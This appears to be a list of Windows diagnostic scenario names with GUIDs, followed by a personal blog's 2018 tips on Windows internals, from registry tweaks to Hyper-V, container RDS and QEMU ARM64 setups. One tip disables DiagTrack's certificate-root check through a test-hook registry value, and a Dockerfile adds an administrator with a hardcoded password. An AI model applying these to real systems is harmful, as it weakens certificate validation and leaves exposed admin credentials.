UIF OD Cancel Repro Desktop System Settings V3
{9b5d2e39-b2e7-4e32-9cf3-611ca859e52f}

UIF OD Cancel Repro Desktop Location Diagnostics V3
{9b82e2b9-d7fa-4138-bbf7-aea4b42f5247}

UIF Stop Repro for DisposableVm_v2
{9bb0f66a-2641-4585-973d-feafaf8b1e00}

UIF OD Start Repro ShareUX Desktop V2
{9c6db627-471d-43d6-86e6-b44253bb16b2}

UIF OD Cancel Repro Desktop ProjectRome V5
{9c6f882c-2caf-4ce2-968f-67b0e6c94f79}

UIF OD Cancel Repro Desktop action center repro mode diag V1
{9cb4add8-129a-4c4c-9de8-1b806a5c3574}

UIF GatherLogs for WDAG Edge V8
{9cd7a4a5-a671-4fae-af46-c7cfd1e5c20c}

UIF OD Start Repro Desktop Network Diagnostics V6
{9cdf0394-6c72-4239-87e5-1db95ebf6b6f}

UIF Performance WindowsDesktop Cancel Repro V4
{9d4fc3a5-16b2-41bc-a3cf-d542a0a89fd4}

UIF OD Start Repro Desktop edge perf and reliability V10_1
{9ddb675a-8714-401f-a753-01621640c268}

UIF OD Start Repro Desktop Whiteboard Performance V1
{9e718a16-27da-42e2-bb37-8808bea5cebe}

UIF OD Cancel Repro Scan Desktop V1
{9e9f97fc-e57b-4091-a380-a5818af21c40}

UIF OD Stop Repro Desktop Mobile Plans repro mode V1
{9ed50621-8678-460f-b94f-0fcf210633b9}

UIF OD Start Repro AltTabTaskView Desktop V1
{9fcf743d-3ffc-4aef-b8c8-4c8120d3e25a}

UIF OD Start Repro Desktop UEV Logs collection V4
{a18188cd-008e-47fb-a708-7936433d1e03}

UIF OD Start Repro Desktop Collect_Search_Core_Logs V1
{a1d4f111-a57d-45cc-8c10-1ebde5caa270}

UIF OD Cancel Repro Desktop NFC Diagnostics V1
{a21385da-2b0d-4747-8eb3-f9a909dcfdc5}

UIF OD Stop Repro Desktop Screen Sketch Diagnostics V1
{a236cdfd-2fd3-4130-8f7b-fd4968695eb1}

UIF OD Desktop Get general VPN client diagnostics V1
{a25f0350-39c9-4eeb-8bb7-7ac0a202d198}

UIF OD Start Repro Desktop Windows Hello Face V1
{a4e23a93-ae98-443b-8e30-e9a542680260}

UIF OD Desktop TDP File Collection V2
{a530b39c-beb7-4d05-9e19-007bddfdee45}

UIF OD Cancel Windows Defender Desktop V3
{a63103b9-de28-470e-bffb-5e4cfb35b50b}

UIF OD Stop Repro TabletMode Desktop V1
{a6389291-2132-4cc9-b561-9edc800f55c8}

UIF OD Desktop SenseSnapshotMS_V4_1
{a6513534-5935-4d48-9260-257aa6621d09}

UIF Groove Desktop Diagnostics V5 RS
{a68a4d0d-ccf1-44e4-8a4e-107cd2916860}

UIF Start Repro for InPrivate Desktop V1
{a6d18f0e-9670-4997-935e-9ab9b8f7034e}

UIF OD Stop Repro Pdf Load Fail V1
{a6e8574a-50a8-4f7d-93fc-c6effdb65dd9}

UIF Oasis Repro Stop Mixed Reality App Perf
{a6f6e005-f53b-444b-825c-1611faf61c47}

UIF OD Start Repro Themes Desktop V1
{a7598155-7875-4450-b66f-ff6723b174e8}

UIF OD Start Repro Desktop System Settings V3
{a7b0d03a-54b5-476f-980a-7bce579a1eac}

UIF Oasis Repro Cancel Apps V03
{a7bab404-15b8-4ea8-9c6b-7d4f9bd39f9c}

UIF OD Desktop MDM And AAD V4
{a7bb2eb2-4259-4b26-9662-4be06d8262c6}

UIF OD Start Repro x86AppsOnARM64 Desktop V1
{a861c789-6a8c-4e9c-899c-3edf8c20fcc9}

UIF OD Stop Repro Desktop Language Region V2
{a9318d60-dc0b-4ac9-8a7c-5371f869a98b}

UIF OD Start Repro Desktop DirectAccess Diagnostics V5
{aaaa71ad-9cd3-48de-b063-420f4d028aa3}

UIF OD Desktop IoT Diagnostic Logs V4
{ab44810c-eb2c-4c18-86fd-2ab6ac92eca3}

UIF OD Stop Repro Desktop LanguageOverlay and Settings V1
{acbf8dfe-dbe1-4cfa-86dc-c02372afce20}

UIF OD Desktop Diagnostic AppDepQ Redstone V3
{acfa69eb-9aa9-4d0f-97a2-3ad4a3bb63ef}

UIF OD Desktop OneDrive Collect Logs V5
{ad40d38f-15b0-44a9-a7bd-6b56d45d77ad}

UIF OD Desktop Collect Info V1
{ad4aad20-df48-4391-87dd-ebd8e7f305ab}

UIF OD Cancel Repro Desktop EDP_EnterpriseDataProtection V41
{af245430-a187-4906-bc8e-cf83e86bfe27}

UIF OD Desktop Layout GA V1
{af57bddf-7b92-4b49-8ed5-41106647e723}

UIF OD Desktop Layout Preview V1
{b0066f4a-af90-4997-a40a-35c369181050}

UIF OD Cancel Repro Microsoft Remote Desktop Preview Desktop V2
{b03d559d-f48c-436e-bc11-3cdf2c79bc33}

UIF OD Stop Repro Game Controller Desktop V1
{b0dca884-31b0-47a6-92b6-59915fdf41c6}

UIF OD Desktop Desktop SCOOBE log collection V1
{b138be2f-ae3d-42c0-9a98-1a88e4b6bc6b}

UIF OD Cancel Repro Desktop Tabbed Sets Repro Mode V2
{b215ab08-0d0a-4574-820e-4950dffc6fc3}

UIF OD Start Repro Desktop Networking Diagnostics for V4
{b24ac9ba-1702-47b4-8115-b7fbd6bed174}

UIF OD Start Repro Speech Desktop V3
{b2aa558f-36e1-498d-90d3-3c60f749f2aa}

UIF OD Start Repro Desktop Magnifier Diagnostics V1
{b2c86636-1188-4b2f-9deb-d7e237a4c95b}

UIF OD Stop Repro Desktop Unlock V2
{b2d566e8-0509-4639-b2fa-1b4e2ca5b310}

UIF OD Start Repro Desktop audio V1
{b3db13b0-8527-4acf-a74f-5bac67a0e3f5}

UIF Start Repro Clipboard Diagnostics V8
{b3ee9dcd-6edb-4ec3-8fe7-73d028c95aab}

UIF OD Desktop ON UWP_ Auto attach diagnostic files V1 V1
{b49ebc69-c303-4793-9801-afda5aef503d}

UIF Stop Repro AppDepQ DESKTOP Redstone
{b4c09d5a-476f-45f9-bf2c-72852adb5963}

UIF OD Cancel Repro MFTracing Desktop v6
{b528d8cf-7edc-4190-a06f-0eea9cbe0e32}

UIF OD Cancel Repro StartMenu Desktop v2
{b5320401-2c8d-41cf-b507-9d497a422e35}

UIF OD Desktop Gather Device Security Data V1
{b553ccbf-233b-4246-a115-fbd8923db2b3}

UIF OD Start Repro Groove Desktop V7_1
{b62f1625-7a07-4cd9-be3c-3f9ae4928431}

UIF OD Start Repro Desktop Tabbed Sets Repro Mode V2
{b6c13d07-eaf6-424e-8f95-34f9556beecf}

UIF OD Cancel Repro Desktop InputCore_Touch V6
{b74d44a3-24b3-46fe-af0c-893e6bece7e2}

UIF Action Center and Shell stop repro OdD V5
{b82ed50d-471f-443a-aded-f0c7fa889eaa}

UIF OD Start Repro Pdf Load Failed V1
{b85be7f2-925d-4b8c-b965-39a0da9227be}

UIF OD Desktop UIF_Touchpad_V1 V1
{b8ab6952-7357-4d46-8168-ca94f1e598f9}

UIF OD Start Repro Desktop Messaging Diagnostics V4
{b8daab27-985a-4ae2-b65f-1212ccbd6a67}

UIF Oasis Repro Cancel HeT v01
{b955c1d0-6a9f-45b6-8f99-a662aadf509d}

UIF OD Start Repro StartMenu Desktop v2
{b9be84a0-e4b2-4cdc-b025-aad57145954f}

UIF OD Stop Repro Desktop WindowsUpdateClientVerboseLog V1
{baaffcff-6cc8-4548-bb70-48afb252a701}

UIF OD Stop Repro Desktop StartMenu Performance V1
{bb2bf37d-1292-4dcb-a754-df92e6511c92}

UIF OD Stop Repro Desktop Layout Preview V1
{bb4b7db6-9265-410a-8be7-46ae7487e415}

UIF OD Cancel Repro Desktop DxgDiag GamePerf GameDVR V2
{bc42529a-e96e-4c5f-9815-213481ffe730}

UIF OD Cancel Repro Desktop GMD Diag V1
{bd10949b-d5c9-4da6-aeaf-66d13cdf2cb4}

UIF OD Cancel Repro x86AppsOnARM64 Desktop V1
{bef04658-aa4b-4273-8dd1-d9f829ebff85}

UIF OD Desktop Legacy Taskbar Single Escalation V2
{bef8798f-26de-46a2-a469-0e0676567947}

UIF Oasis Repro Cancel Apps V04
{bf36f76d-df1c-4d76-9f31-aed7eae383df}

UIF OD Stop Repro Desktop edge perf and reliability V13_A
{bf8de646-8ef0-433b-b11e-44ae48b33241}

UIF OD Desktop Enterprise Management Issues V6
{c0166ed0-715f-42d6-b0d1-1915938e32ce}

UIF OD Start Repro Desktop Timeline V2
{c0c4a0e0-c6fa-4249-a132-4fc9544c40af}

UIF MoviesAndTV Desktop Repro Cancel V1_1
{c160b624-aa09-4caa-82f7-ef5bcd725690}

UIF OD Cancel Repro Desktop MMX V5
{c28b6216-95cb-4ead-977d-edd696e078a8}

UIF OD Stop Repro MFTracing Desktop V6
{c3296ff1-b6b5-4c87-9647-99849fe789d8}

UIF OD Start Repro Desktop GameBar UWP Repro Diagnostics V1
{c3862933-978a-4584-9291-96c725869d2e}

UIF OD Stop Repro Desktop Network Diagnostics V6
{c3ae7a25-ac58-45ee-995d-88bda7e36462}

UIF OD Desktop Game Controller Single Escalation V1_1
{c40e7a36-cece-4d55-b917-1cf37f71c88f}

UIF OD Cancel Repro Desktop Hello V7
{c49eeb4d-eeb3-40ee-9312-47d569d21937}

UIF OD Cancel Repro Desktop Unlock V2
{c4c2ec19-1e7d-498c-bc7a-4bd9dd44f609}

UIF OD Desktop Deployment Issues TH V6
{c4db569b-1095-481f-9ec6-4af7a1069d9b}

UIF Stop Repro for WDAG Edge V6
{c5fddbab-11b4-4ae5-af98-01b88ffdc515}

UIF OD Start Repro TabletMode Desktop V1
{c633b5bc-5e27-480e-856f-b8a15d416384}

UIF OD Start Repro Dynamic Lock Desktop V1
{c66e8fad-5989-4028-a0cc-0f52f5cc2cb0}

UIF OD Desktop SurfaceCheck V1
{c78421b4-b67f-42f7-9d18-3a6e4fca9afd}

UIF OD Desktop HDR Collect DxDiag and DispDiag V2
{c786566f-515d-45c4-b823-c3d980c9671a}

UIF OD Start Repro Desktop NFC Diagnostics V1
{c8262517-2d73-4cb3-b42b-8c65c7f7d61f}

UIF OD Start Repro WindowsDesktop Global Networking V6
{c857a05e-e95c-4168-96a5-93e7943c0f72}

UIF OD Cancel Repro Console Desktop V1
{c88c1383-a684-47e7-a0e0-b7e6302e1740}

UIF Performance WindowsDesktop Stop Repro V4
{c902d3f3-3fe6-4ea7-8453-efe441e64f76}

UIF OD Cancel Repro Desktop RS 3D Print V2
{c9710607-2759-4796-960f-9d6bb1f3e7ae}

UIF OD Cancel Repro Desktop Adapter Selection and Detach V2
{c9a35f75-d72c-461a-bfa2-83df2842493c}

UIF OD Start Repro Game Controller Desktop V1
{ca6da57b-e115-4510-9289-bfeb73b87f65}

UIF OD Stop Repro Desktop Miracast V7
{cafdee3f-474c-4f02-bd42-da8146cbe984}

UIF OD Stop Repro Network Troubleshooter V1
{cc163d39-ac1a-4498-befa-e3fc7c12495a}

UIF OD Stop Repro Desktop ConnectingToCellularNetwork V3
{cd94a470-582f-4acc-94f3-28c19f2b7117}

UIF OD Start Repro Desktop Networks All other issues Diag V1
{cddb3ea5-632e-4a7d-ad2f-5f3897d2630b}

UIF OD Stop Repro Desktop StartTpmTracing V1
{cf2fe1b5-289c-4892-bbed-8425cedf1925}

UIF OD Cancel Repro Desktop Networks All other issues Diag V1
{d0c9776e-8ca6-41a5-90ef-43ccce7d8701}

UIF OD Desktop Audio Diagnostic V13
{d18be997-4f7a-4029-85e6-96d3ab2754a9}

UIF OD Start Repro ClockFlyout Desktop V2
{d1d27cf4-1a0e-4b4d-af92-c0e305c03189}

UIF OD Start Repro Desktop Oasis Default V11
{d1faab09-dc7f-498f-b4a5-02ec44cb36aa}

UIF OD Desktop Your Phone App Diagnostics V1
{d20014a4-d534-437c-bcb7-1cbf6105f181}

UIF OD Desktop CSM Log Files V1
{d247f41e-80c3-48f7-9b56-7ed3986052b7}

UIF OD Stop Repro Desktop Spaces Test V1
{d264eb60-4d7d-49a1-93fe-67406944fcd1}

UIF OD Stop Repro Desktop Networking Diagnostics for V4
{d276621e-a5a2-4c05-a9db-22062a52ba26}

UIF OD Start Repro Desktop Cortana BT Speech Audio Traces V18
{d28ba84b-5797-462f-84fc-c11778df4a2d}

UIF OD Cancel Repro Desktop InputCore V6
{d446cc65-367b-4996-a46d-1bc79404b047}

UIF Start Repro for DisposableVm_v2
{d4936d47-9699-4da1-b38e-a21e7cfa0462}

UIF OD Start Repro Desktop InputCore_Pen V6
{d5661737-85e7-459d-922d-c801dd02d626}

UIF OD Stop Repro Desktop Photos Diagnostics V5
{d5b19b27-c241-4acc-b080-27e877fe35d7}

UIF OD Cancel Repro Desktop GameBar UWP Repro Diagnostics V1
{d6922317-8469-4532-86b8-6c94c8bc6004}

UIF OD Stop Repro Desktop Networks All other issues Diag V3
{d6eefc6c-a337-4c30-a057-c3656e726d71}

UIF OD Cancel Repro Desktop Sensors with power and display V2
{d76b409b-e8a7-4058-997c-912db78db83e}

UIF OD Start Repro Desktop Language Region V2
{d82ecb96-b474-4820-ad79-cf4304a26440}

UIF OD Stop Repro Desktop Oasis Default V11
{d868898b-e8e2-4733-b947-41fdea17da02}

UIF OD Stop Repro Desktop Skype UWP Diagnostics V4
{d86e156d-ee99-43c1-9b67-16638ac5565c}

UIF OD Stop Repro Desktop DirectAccess Diagnostics V5
{d8a7ab3d-f11a-4979-b67d-3b64ee83a7b3}

UIF Action Center and Shell cancel OdD V5
{d8c3fbc7-9034-42cc-a183-50c7554370f3}

UIF OD Start Repro Desktop DotNET Performance V2
{d8df50d9-03dc-4042-8f31-5bf4d4ce1a63}

UIF OD Start Repro Desktop action center repro mode diag V1
{d8edf88a-0509-4e83-8339-04e7ebf0fbca}

UIF OD Stop Repro Desktop Flight Settings Fix Me V1
{d8f16bcb-500b-4d89-8edb-db45e6756540}

UIF OD Desktop CSS_Troubleshooter_Cab V4
{d97721b8-300c-4399-9fb6-30b136b061bb}

UIF OD Desktop Windows Hello V3
{da0e2dd2-34a5-4526-868c-7b7338f36af0}

UIF OD Start Repro Desktop Print V8
{db229b98-9889-4e18-8878-4c5102b1af1f}

UIF OD Cancel Repro Office Desktop V4
{dbb2227d-a8d1-40cc-8d5a-3fa9cb356c3b}

UIF OD Start Repro Office Desktop V4
{dbb29802-9974-48c0-b000-c8fcfa8ac6d0}

UIF OD Desktop Import Tool GA V1
{dbdd472c-0647-470b-8cb2-acb3443f19dc}

UIF OD Cancel Repro Desktop DxgDiag and Game Perf V10
{dd4e2d7f-0265-4c33-9d8c-f24fb2657300}

UIF OD Cancel Repro Desktop LanguageOverlay and Settings V1
{ddecd228-59aa-41b3-9cae-2fb85d2c086b}

UIF OD Desktop Out Of Box Experience Scenario V2
{de0ab5d5-45bd-4274-87ba-996947aaeceb}

UIF OD Cancel Repro Office Centennial Desktop V3
{de1dca7b-a116-46a0-a47b-994d42f9d3ad}

UIF OD Desktop Basic Time Sync Data Collection V1
{debcfefd-024a-42e8-9210-84a595d5da91}

UIF OD Cancel Repro Desktop Global Power V3
{decaac9e-82e3-4e6d-a05c-e443bae5b996}

UIF OD Stop Repro Desktop Collect_Search_Core_Logs V1
{ded98a94-da65-4739-ac6c-ba5a0cbe9424}

UIF OD Start Repro Desktop Sensors with power and display V2
{dfb764a1-2434-4b6f-9ce1-7a734ca847e9}

UIF OD Stop Repro Desktop Remote Desktop Preview V3
{e04528a4-6a96-4527-b130-b8224de4bfcd}

UIF OD Stop Repro WindowsDesktop Global Networking V6
{e08f713c-2719-4974-b2f8-4a603e0465fc}

UIF Stop Repro EDP_EnterpriseDataProtection Desktop V4_Upd_OdD
{e10b4cdd-0d7b-4a28-b5c8-6c276fd3bb27}

UIF OD Start Repro Desktop DxgDiag GamePerf GameDVR V2
{e17178d4-f2cf-4f40-a8f2-359a8aa91b37}

UIF OD Cancel Repro Sensors Traces Desktop V1
{e25127f2-27eb-40e4-8fc6-59239dd54552}

UIF OD Start Repro Desktop edge perf and reliability B V18
{e426288e-bffc-4507-a26e-6e98afbb5777}

UIF OD Desktop Bitlocker diagnostics V2
{e4bd6fc4-adfc-49c7-b5d2-8e5fd8fb4c4c}

UIF OD Cancel Repro Desktop StartMenu Performance V1
{e5ba9adb-9c47-4a2b-b96f-2350da935edf}

UIF OD Cancel Repro RemoteDesktop Settings Desktop V3
{e68b3a07-cb46-472f-b321-c0acd6506c48}

UIF OD Desktop Skype UWP Collect logs V6
{e6958e7b-d6f7-4932-a511-2cc5b1bfe252}

UIF OD Start Repro Desktop Camera_Desktop_RS4 V1_a
{e6a2caa1-54ec-45dd-a922-f0a184049c6f}

UIF OD Stop Repro Desktop DeveloperInsightTools V1
{e6cb3c03-f0bd-4628-bc3d-f8d0bd5f472c}

UIF OD Stop Repro ClockFlyout Desktop V2
{e8dc44ff-028f-463e-89e3-106388956794}

UIF OD Cancel Repro Desktop CollectWebAuthNTracing V1
{e930868d-44e6-4022-a8e4-119d56f7e87a}

UIF OD Start Repro Desktop StartTpmTracing V1
{e952feb4-8a76-45ad-a274-3c02f08c6fdf}

UIF GatherLogs for WDAG Office V3
{ea001d0d-0aba-4e9a-92fb-8c949fca4901}

UIF OD Start Repro Desktop edge perf and reliability V13_A
{ea049fca-7f94-4586-9c70-dd0fae65ac9c}

UIF OD Cancel Repro Desktop SenseReproMode V1
{eb17ef9a-83e5-4729-89f6-0e7f44263dd4}

UIF OD Cancel Repro File Explorer Desktop V8
{ecb8d6c8-8abd-44cc-8fa1-7e4fc87a7c79}

UIF OD Start Repro Desktop RemoteDesktop V5
{ecbf14c5-c3c2-4537-831c-57a3d80cb1c1}

UIF OD Cancel Repro Network Troubleshooter V1
{ed2939bf-089c-4b9f-be83-f13848d8b2eb}

UIF OD Start Repro Desktop StartMenu Performance V1
{ed50f08f-0139-47b8-aeb7-9f855a2d32c7}

UIF OD Stop Repro Desktop action center repro mode diag V1
{ed7a59e2-2d84-4b7f-87e7-c03b339eaa5c}

UIF OD Desktop AAD V4
{ed88bc31-6b73-4c68-bd41-cce25ecccba4}

UIF OD Stop Repro Scan Desktop V1
{ee5ee336-07c1-4cfc-8326-a2717a08e8cb}

UIF OD Desktop Start Diagnostic Scenario V11
{eee51ef3-0e7c-4717-8c9e-1ef800264f56}

UIF Stop Repro Storage Sense RS2 V2
{ef0228a0-cadd-4e22-9ef0-e9ce6820e1e7}

UIF OD Cancel Repro QuickActions Desktop V1
{f0b55b5a-9564-49f7-ac94-6b1ca222a7c8}

UIF Cancel Repro AppDepQ DESKTOP Redstone
{f0cef3c9-c6dc-4a8e-9b87-4f392326890d}

UIF OD Stop Repro Desktop Magnifier Diagnostics V1
{f0e0d177-6a1d-4e63-9019-5f98f4eb7cbd}

UIF OD Cancel Repro Desktop WDSC Device Security V1
{f10e299c-5cbd-43dd-ac3f-bda4ab94834a}

UIF OD Desktop Collect BT reg keys V2
{f13a2d4a-2c76-485d-a333-2651d1760e85}

UIF OD Stop Repro x86AppsOnARM64 Desktop V1
{f1593276-9b9d-4ece-a8d5-ddee0ab37fc5}

UIF Stop Repro Oasis WebVR V1
{f163a067-8cf3-4db3-98e2-47538dc51ecb}

UIF OD Start Repro Desktop Apps V6
{f17db946-e6f4-4639-b8e6-4d411330a39a}

UIF OD Stop Repro Desktop WDSC Device Security V1
{f264738c-25ed-41bb-a6af-b4e7d1cccb3a}

UIF OD Cancel Repro Desktop Whiteboard Performance V1
{f367a64d-9176-4ab0-8dae-4307e7c1fb17}

UIF OD Cancel Repro Desktop WindowsUpdateClientVerboseLog V1
{f58f64bc-c1b1-4701-889a-9001d0e3c8a7}

UIF OD Stop Repro BingNews Desktop V2
{f5c885b9-6673-4572-a897-b300687beeda}

UIF OD Start Repro Desktop Location Diagnostics V3
{f676dd4d-a7a6-4c68-9bfe-2ff924886838}

UIF OD Cancel Repro Holograms Desktop V2
{f6f6702c-3254-4c02-80b4-11c61dde54be}

UIF OD Start Repro Desktop RS 3D Print V2
{f7a8e6ae-05ad-4dd2-a9b4-c0f7bbbc5204}

UIF OD Start Repro DesktopEnv_AllOtherIssues Desktop V1
{f81f70f4-d137-4db0-b38a-6badbc0ba257}

UIF Copy Repro_OdD
{f82052cc-aff5-4db8-8964-be01419b2f56}

UIF OD Desktop Windows Activation V2
{f828261f-bcaf-4ed5-a54c-898dca2141f6}

UIF OD Desktop Outlook Diagnostics V13
{f8547925-ebd1-4003-a5d9-6bffcef4079f}

UIF OD Desktop additional logging V2
{f99a933e-3359-4fe5-9715-113f767240ce}

UIF OD Start Repro Desktop Remote Desktop Preview V3
{fa37efb3-9895-41e5-a436-03ec082d3fc8}

UIF OD Stop Repro Desktop Import Tool Preview V1
{faefaa1f-839d-4673-8db3-de359bfd9e78}

UIF OD Stop Repro Desktop Messaging Diagnostics V4
{faf6fe51-aa75-4925-a7e8-b42e64d531d5}

UIF OD Desktop LanguageOverlay V12
{fb1945ea-3c12-4f66-ae28-5af9cbd7ac1f}

UIF OD Stop Repro Desktop edge perf and reliability B V18
{fc15dd07-14c9-49b8-bcd0-58ffe584f843}

UIF OD Start Repro Whiteboard Desktop V1
{fc4c0cae-2c7c-4a4a-ba38-8cc7494e4bd6}

UIF OD Stop Repro Desktop Camera_Desktop_RS4 V1a
{fd01cfe5-c5be-4804-9a71-15be68859088}

UIF OD Desktop My People UIF Collection V1
{fda25513-7f57-4338-a32f-d3f00260e90c}

UIF OD Desktop Hyper V Single Escalation V1
{fe25d779-8d5d-4715-b86d-2374d272e77c}

UIF OD Cancel Repro Desktop Windows Hello V3
{ff7f9aaf-6f1c-42c5-b219-71b0d4a2b889}

UIF OD Stop Repro Desktop GameBar UWP Repro Diagnostics V1
{ffead55c-0239-421a-aad4-61e20bbd388f}

Monitoring DiagTrack HTTPS traffic

2018-11-20T00:00:00Z

DiagTrack on Windows 10 checks for a Microsoft root in the certificate chain before downloading its configuration data. This can be bypassed with a test hook conveniently left inside the component. Simply create:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack\TestHooks\Volatile\SkipMicrosoftRootCertCheck

and set it to 1.

Unblock NVIDIA Control Panel Store App

2018-10-09T00:00:00Z

I wanted to get an early look at NVIDIA's Control Panel app in the Microsoft Store and ran into the error: "Supported NVIDIA Driver is not installed on your system."

It appears this experience is currently bound to OEM machines, but can be turned on with a registry tweak.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nvlddmkm\FTS\EnableRID69527=0x1

Import Your Own MP4s Into GoPro Quik

2018-09-15T00:00:00Z

GoPro Quik scans your MP4 media and refuses to load them into the app if they didn't originate from a GoPro device. You can fake out Quik by adding GoPro metadata to your MP4 metadata.

ffmpeg -i unsupported_input.mp4 -c:v copy -c:a copy -metadata:s:v:0 handler="GoPro AVC" supported_output.mp4`

Enable Windows Kernel Debugger During Setup

2018-09-08T00:00:00Z

Run setup.exe with /netdebug:hostip=1.2.3.4,port=55555,key=a.b.c.d. (Additional information regarding the KdNet parameters can be found on Docs.) Windows will apply this configuration to the BCD store for each stage during boot.

Troubleshooting Appx/Msix Signing with Appx Subject Interface Package (SIP) logging

2018-08-24T00:00:00Z

Troubleshooting Appx/Msix signing errors can be a real pain in the butt.

Here's an example of unhelpful output from signtool:

SignTool Error: An unexpected internal error has occurred.
Error information: "Error: SignerSign() failed." (-2147024885/0x8007000b)

Trace logging can be controlled via one of two ways:

Set DWORD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppxSip\LogLevel
Set environment variable APPXSIP_LOG=

Valid values for both methods range from 0 to 3:

0 - None
1 - Info
2 - Error
3 - Trace

Here's helpful output from signtool:

...
ERROR: [Appx::Packaging::SipFunctionHelper::VerifyManifestPublisherName] failed because signing certificate subject name (CN="Foo") does not match package manifest publisher (CN="Package Foo")

ERROR: [AppxSipPutSignedDataMsg] SipFunctionHelper::VerifyManifestPublisherName( manifestPackageId.Get(), signatureSize, signature, false) failed with HR=0x8007000b.
SignTool Error: An unexpected internal error has occurred.

Error information: "Error: SignerSign() failed." (-2147024885/0x8007000b)

Enable Acrylic Effects in Hyper-V VM

2018-08-17T00:00:00Z

Merge:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Dwm]
"ForceEffectMode"=dword:00000002

And restart dwm.exe.

Fixing Meson Packaging to Generate Launcher Executable

2018-08-10T00:00:00Z

⚠ Note: This has been fixed upstream.

pip download meson

Extract tarball and edit setup.py, adding following item to setup(...) blob:

entry_points={
   'console_scripts': ['meson=mesonbuild.mesonmain:main'],
},

pip install <path to extracted tarball>
meson -v to confirm executable is correctly generated and pathing set up.

Conversion of Teradata Express VMware Image for Hyper-V use

2018-07-23T00:00:00Z

Download and extract the latest Teradata Express package
Download and install Microsoft Virtual Machine Converter
Download and extract dsfok. You can use a similar tool (e.g. dd) but the instructions are aligned with dsfok.
Start downloading latest openSUSE Recovery CD image
Dump each disk's header (dsfo.exe "TDExpress16.20_Sles11-disk1.vmdk" 512 1024 descriptor1.txt, etc.)
Edit each descriptor, commenting out the ddb.toolsInstallType property with a #
Save each descriptor back into its respective vmdk file (dsfi.exe "TDExpress16.20_Sles11-disk1.vmdk" 512 1024 descriptor1.txt, etc.)
Convert all disks (ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath path\to\TDExpress16.20_Sles11-disk1.vmdk -VhdType DynamicHardDisk -VhdFormat Vhdx -DestinationLiteralPath path\to\disk1.vhdx, etc)
Create an older Hyper-V Generation 1 machine. Attach disks 1 and 2 to IDE Channel 0, and disk 3 to IDE Channel 1. Give the machine at least 8GB of RAM and a few processors. Attach openSUSE Recovery CD image to remaining IDE Channel 1 slot.
Boot from Recovery CD
Edit /etc/sysconfig/kernel and clean out old vmware modules (i.e. change to read INITRD_MODULES="mptspi ata_piix ata_generic hv_vmbus hv_netvsc hv_storvsc hv_blkvsc)
Build a new initial ramdisk using the steps below.
mount --bind /dev /run/media/linux/ROOT-BE1/dev
mount --bind /sys /run/media/linux/ROOT-BE1/sys
mount --bind /mnt /run/media/linux/ROOT-BE1/mnt
chroot /run/media/linux/ROOT-BE1
(chrooted) mkinitrd -k /boot/vmlinux-3.0.101-0.166.TDC.1.R.0-default.gz -i /boot/initrd-3.0.101-0.166.TDC.1.R.0-default
Reboot. X will fail to start.
SSH into the machine (or reboot and enter single user mode).
Stash the old X configuration mv /etc/X11/xorg.conf /etc/X11/xorg.conf.vmware
Run SaX2 to redetect the correct hardware (sax2 -r) and confirm everything looks okay in the Hyper-V Console window.
Reboot. Teradata Express UI should appear.
Optional: Use YaST to enable remote administration (VNC).

Using Remote Desktop Services in Containers

2018-03-09T00:00:00Z

[01/21/2019: Microsoft made a change sometime after microsoft/windowsservercore:1709_KB4074588, breaking RDS. I'm looking into this and will post a new article/edit this one when more information is available.]

Remote Desktop Services (RDS) is not officially supported in Windows Containers. Nano Server-based containers, for example, don’t contain the required bits on disk. On the flip side, Windows Server Core-based containers do but the feature is deactivated for a few technical and political reasons. In these containers, you can reactivate those bits with an easy registry value.

The value to twiddle is HKLM\System\CurrentControlSet\Control\Terminal Server\TemporaryALiC. (ALiC => Allow Listeners in Container.) Set this REG_DWORD to 1 sometime before TermService startup and you’re all set. RDS defaults will kick in and spin up a RDP-Tcp transport for you to connect to as normal.

Quick and dirty Dockerfile:

#escape=`
FROM microsoft/windowsservercore:1709_KB4074588
RUN net user /add Rafael
RUN net user Rafael !QAZ2wsx
RUN net localgroup "Remote Desktop Users" Rafael /add
RUN net localgroup "Administrators" Rafael /add
RUN cmd /k reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v TemporaryALiC /t REG_DWORD /d 1

Warnings

Only tested with Windows Server containers (silos).
May interfere with the host machine's listener. Jiggling of the TermService on the host machine before/after container startup may be required.
Remote Applications Integrated Locally (RAIL) scenarios will require additional configuration (future blog post)

Booting ARM64 builds of Windows 10 in QEMU

2018-02-11T00:00:00Z

As you may know, the venerable Quick Emulator (QEMU) supports emulation of the AArch64/ARM64 architecture. With some fiddling over the weekend, I was able to boot and install arm64 builds of Windows 10.

Here's how I did it (feedback welcome):

Warning: This is slow as dirt on an Intel Core i7 4770K
Warning: I have not yet compiled the VirtIO drivers for network and other ancillary devices. That means these machines don't support networking.
Download and install QEMU for Windows
Download the Windows 10 (arm64) ESDs from adguard's whizzbang download page and glue them together using UUPtoISO (patched for arm64) to create a usable ISO
Download my hand-crafted UEFI firmware and recompiled/signed arm64 storage drivers
Create a system.vhdx that's around 23GB or larger (fixed size, not expanding, initialized using GPT partitioning scheme)
Generally glue all the above together in a folder somewhere and create a windows.cmd with the following contents:
Run the script.
During setup, you will need to provide VirtIO drivers (browse to the mounted disk).
Complete setup as usual. (This will take a long time.)

For those curious, here's the break down of the QEMU arguments, in order of appearance:
- virtualize a Cortex A57 CPU (with 3 cores)
- set up 4GiB of RAM
- use my recompiled TianoCore EDKII ArmVirtPkg firmware, with minor edits to re-enable VGA support and include a whimsical boot logo to discourage serious usage. (This is similar to the build provided by Googulator in that I reverted two VGA commits. No other changes were made. Latest master.)
- use some scratch space for UEFI variable storage (e.g. boot order)
- use VGA for graphics needs
- set up a NEC USB XHCI Host Controller
- ... and plug four virtualized USB devices into it
- a USB keyboard
- a USB mouse
- a CDROM hosting our install media
- a removable hard drive hosting the VirtIO driver package vhdx
- set up a VirtIO Block Device hosting the main system vhdx

I encourage you to read the QEMU documentation for additional options.

Tips

Add --accel tcg,thread=multi for additional per-core performance gains (Thanks @never_released!)
The Windows guest may panic at device detection. Click skip when given the option and you should slowly get through.
The Windows guest may intermittently panic with a Kernel Security Check Failure.
At first boot, the Windows guest's Compatibility Telemetry runner process will spin up and eat all your CPU cores. Kill the process and performance should greatly increase.

Adding Acrylic Blur to your Windows 10 (Redstone 4) desktop apps

2018-02-01T00:00:00Z

